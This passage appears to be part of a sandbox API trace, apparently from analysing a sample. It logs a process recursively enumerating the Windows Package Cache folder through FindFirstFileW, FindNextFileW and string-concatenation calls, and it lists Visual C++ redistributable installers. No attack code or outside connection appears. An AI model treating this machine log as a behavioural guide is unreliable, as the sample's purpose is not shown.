lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.215] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.215] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.215] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.215] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.215] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.215] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned 79 [0040.215] lstrlenW (lpString="packages") returned 8 [0040.215] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0040.215] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.215] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.216] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.216] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2=".") returned 1 [0040.216] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="..") returned 1 [0040.216] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.216] lstrlenW (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0040.216] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0040.216] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0040.216] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned 68 [0040.216] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" [0040.216] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.216] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.216] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.216] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.216] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.216] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.216] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0040.216] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0040.216] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned 68 [0040.216] lstrlenW (lpString="state.rsm") returned 9 [0040.216] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0040.216] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned 77 [0040.216] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.216] lstrcmpW (lpString1="vcredist_x86.exe", lpString2=".") returned 1 [0040.216] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="..") returned 1 [0040.216] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned 68 [0040.216] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0040.216] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" [0040.216] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned 84 [0040.216] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.216] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.216] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.216] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2=".") returned 1 [0040.216] lstrcmpW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="..") returned 1 [0040.216] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.216] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 49 [0040.216] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0040.216] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0040.216] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned 79 [0040.216] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" [0040.216] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.217] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.217] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.217] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.217] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.217] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.217] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.217] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.217] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned 79 [0040.217] lstrlenW (lpString="packages") returned 8 [0040.217] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0040.217] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.217] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.217] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.217] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2=".") returned 1 [0040.217] lstrcmpW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="..") returned 1 [0040.217] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.217] lstrlenW (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38 [0040.217] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0040.217] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0040.217] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned 68 [0040.217] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" [0040.217] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.217] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.217] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.217] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.217] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.217] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.217] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0040.217] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0040.217] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned 68 [0040.217] lstrlenW (lpString="state.rsm") returned 9 [0040.217] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0040.217] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0040.217] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.217] lstrcmpW (lpString1="vcredist_x64.exe", lpString2=".") returned 1 [0040.217] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="..") returned 1 [0040.217] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned 68 [0040.217] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0040.217] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" [0040.217] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned 84 [0040.217] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.217] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.218] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.218] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2=".") returned 1 [0040.218] lstrcmpW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="..") returned 1 [0040.218] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.218] lstrlenW (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 50 [0040.218] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0040.218] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0040.218] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned 80 [0040.218] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*" [0040.218] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.218] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.218] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.218] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.218] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.218] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.218] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.218] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.218] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned 80 [0040.218] lstrlenW (lpString="packages") returned 8 [0040.218] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0040.218] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.218] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.218] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.218] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2=".") returned 1 [0040.218] lstrcmpW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="..") returned 1 [0040.218] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.218] lstrlenW (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 50 [0040.218] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0040.218] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0040.218] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned 80 [0040.218] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*" [0040.218] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.218] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.218] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.218] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.218] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.218] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.218] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.218] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.218] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned 80 [0040.218] lstrlenW (lpString="packages") returned 8 [0040.218] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0040.218] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.219] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.219] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.219] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2=".") returned 1 [0040.219] lstrcmpW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="..") returned 1 [0040.219] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.219] lstrlenW (lpString="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 50 [0040.219] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0040.219] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0040.219] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned 80 [0040.219] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*" [0040.219] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.219] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.219] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.219] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.219] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.219] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.219] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.219] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.219] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned 80 [0040.219] lstrlenW (lpString="packages") returned 8 [0040.219] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0040.219] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.219] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.219] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.219] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2=".") returned 1 [0040.219] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="..") returned 1 [0040.219] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.219] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 49 [0040.219] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0040.219] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0040.219] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned 79 [0040.219] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" [0040.219] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.219] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.219] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.219] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.219] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.219] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.219] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.219] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.219] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned 79 [0040.219] lstrlenW (lpString="packages") returned 8 [0040.220] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0040.220] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.220] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.220] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.220] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2=".") returned 1 [0040.220] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="..") returned 1 [0040.220] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.220] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 49 [0040.220] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="c:\\ProgramData\\Package 